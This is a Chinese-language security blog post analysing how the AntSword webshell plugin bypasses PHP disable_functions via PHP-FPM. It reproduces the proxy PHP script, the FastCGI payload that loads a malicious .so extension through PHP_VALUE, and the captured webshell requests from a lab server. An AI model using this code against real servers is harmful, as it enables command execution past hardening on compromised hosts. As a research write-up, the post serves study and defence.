蚁剑disable_functions bypass 研究
文章地址: https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions
蚁剑下载地址 https://gitee.com/AntSwordProject/AntSword-Loader
最新版的更新了一个disable_functions 的插件
对其中
PHP-FPM的方式很好奇如何实现的
Fastcgi协议分析:https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
fastcgi协议分析2:https://blog.csdn.net/shreck66/article/details/50355729
看完上面两篇文章应该对fastcgi 协议有了一定的了解了。那么先看看蚁剑如果实现的这样的一个通信
首先走一套蚁剑的流程。
网站:192.168.20.159
shell: shell.php
被禁用的函数:
passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,putenv,mail
open_dir
open_basedir=/www/wwwroot/192.168.20.159/:/tmp/:/proc/
查看一下蚁剑到底做了什么打开网站的目录
多了两个文件。先分析一下PHP文件
<?php function get_client_header(){ $headers=array(); foreach($_SERVER as $k=>$v){ if(strpos($k,'HTTP_')===0){ $k=strtolower(preg_replace('/^HTTP/', '', $k)); $k=preg_replace_callback('/_\w/','header_callback',$k); $k=preg_replace('/^_/','',$k); $k=str_replace('_','-',$k); if($k=='Host') continue; $headers[]="$k:$v"; } } return $headers; } function header_callback($str){ return strtoupper($str[0]); } function parseHeader($sResponse){ list($headerstr,$sResponse)=explode(" ",$sResponse, 2); $ret=array($headerstr,$sResponse); if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){ $ret=parseHeader($sResponse); } return $ret; } set_time_limit(120); $headers=get_client_header(); $host = "127.0.0.1"; $port = 62195; $errno = ''; $errstr = ''; $timeout = 30; $url = "/shell.php"; if (!empty($_SERVER['QUERY_STRING'])){ $url .= "?".$_SERVER['QUERY_STRING']; }; $fp = fsockopen($host, $port, $errno, $errstr, $timeout); if(!$fp){ return false; } $method = "GET"; $post_data = ""; if($_SERVER['REQUEST_METHOD']=='POST') { $method = "POST"; $post_data = file_get_contents('php://input'); } $out = $method." ".$url." HTTP/1.1\r\n"; $out .= "Host: ".$host.":".$port."\r\n"; if (!empty($_SERVER['CONTENT_TYPE'])) { $out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\r\n"; } $out .= "Content-length:".strlen($post_data)."\r\n"; $out .= implode("\r\n",$headers); $out .= "\r\n\r\n"; $out .= "".$post_data; fputs($fp, $out); $response = ''; while($row=fread($fp, 4096)){ $response .= $row; } fclose($fp); $pos = strpos($response, "\r\n\r\n"); $response = substr($response, $pos+4); echo $response;
意思的通过当前的PHP的文件代理流量到127.0.0.1:62195端口的shell.php发送请求。
查看一下那个端口是什么一个进程
查看了一下他的PID
[root@localhost 41204]# ps -aux |grep 41204 www 41204 0.0 0.6 105024 11408 ? S 14:44 0:00 php -n -S 127.0.0.1:62655 -t /www/wwwroot/192.168.20.159 root 42266 0.0 0.0 112728 980 pts/0 R+ 15:03 0:00 grep --color=auto 41204 [root@localhost 41204]#
php 是起来了一个 另外一个php server 然后 -n 饶过了disable_functions 从而达到了无视disable_functions的一个方式
现在就成了这样子的了
那么现在有两个问题。
1.蚁剑怎么生成的呢??
2.那个SO文件
首先先看看第一个
找到插件的源代码。在蚁剑的插件目录。
构造好需要启动的一个cmd 的命令。
然后构造了一个php-frpm 的payload
}).then((p) => { // 触发 payload, 会超时 var payload = `${FastCgiClient()}; $content=""; $client = new Client('${fpm_host}',${fpm_port}); $client->request(array( 'GATEWAY_INTERFACE' => 'FastCGI/1.0', 'REQUEST_METHOD' => 'POST', 'SERVER_SOFTWARE' => 'php/fcgiclient', 'REMOTE_ADDR' => '127.0.0.1', 'REMOTE_PORT' => '9984', 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'SERVER_NAME' => 'mag-tured', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'CONTENT_TYPE' => 'application/x-www-form-urlencoded', 'PHP_VALUE' => 'extension=${p}', 'PHP_ADMIN_VALUE' => 'extension=${p}', 'CONTENT_LENGTH' => strlen($content) ), $content ); sleep(1); echo(1); `; core.request({ _: payload, }).then((response) => { }).catch((err) => { // 超时也是正常 }) }).then(() => { // 验证是否成功开启 var payload = `sleep(1); $fp = @fsockopen("127.0.0.1", ${port}, $errno, $errstr, 1); if(!$fp){ echo(0); }else{ echo(1); @fclose($fp); };` core.request({
触发Payload后,就会执行启动一个新的PHP Server
后续shell都通过.antproxy.php代理用62195的PHP解析,也就没有disable_functions了
这里可以抓包看看。
得到:
$content=""; $client = new Client('unix:///var/run/php-cgi-71.sock',-1); $client->request(array( 'GATEWAY_INTERFACE' => 'FastCGI/1.0', 'REQUEST_METHOD' => 'POST', 'SERVER_SOFTWARE' => 'php/fcgiclient', 'REMOTE_ADDR' => '127.0.0.1', 'REMOTE_PORT' => '9984', 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'SERVER_NAME' => 'mag-tured', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'CONTENT_TYPE' => 'application/x-www-form-urlencoded', 'PHP_VALUE' => 'extension=/www/wwwroot/192.168.20.159_/.07180ant_x64.so', 'PHP_ADMIN_VALUE' => 'extension=/www/wwwroot/192.168.20.159_/.07180ant_x64.so', 'CONTENT_LENGTH' => strlen($content) ), $content ); sleep(1); echo(1); ;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
这里可以清楚的看出了向FastCGI 发送的一个请求
然后到了下一步,验证那个端口是否开启如下:
1=@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "1ed5d3";echo @asenc($output);echo "d94ed17b8f5d";}ob_start();try{sleep(1); $fp = @fsockopen("127.0.0.1", 61130, $errno, $errstr, 1); if(!$fp){ echo(0); }else{ echo(1); @fclose($fp); };;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
但是缺点就是动静太大了。直接开启了一个php server 而且那个php server 稳定性不是很好。经常几秒就断开了。好像是程序内部设置超时时间就自动断开。
原文地址:https://xz.aliyun.com/t/5839
参考文章:https://github.com/Medicean/as_bypass_php_disable_functions
参数文章:https://mp.weixin.qq.com/s/GGnumPklkUNMLZKQL4NbKg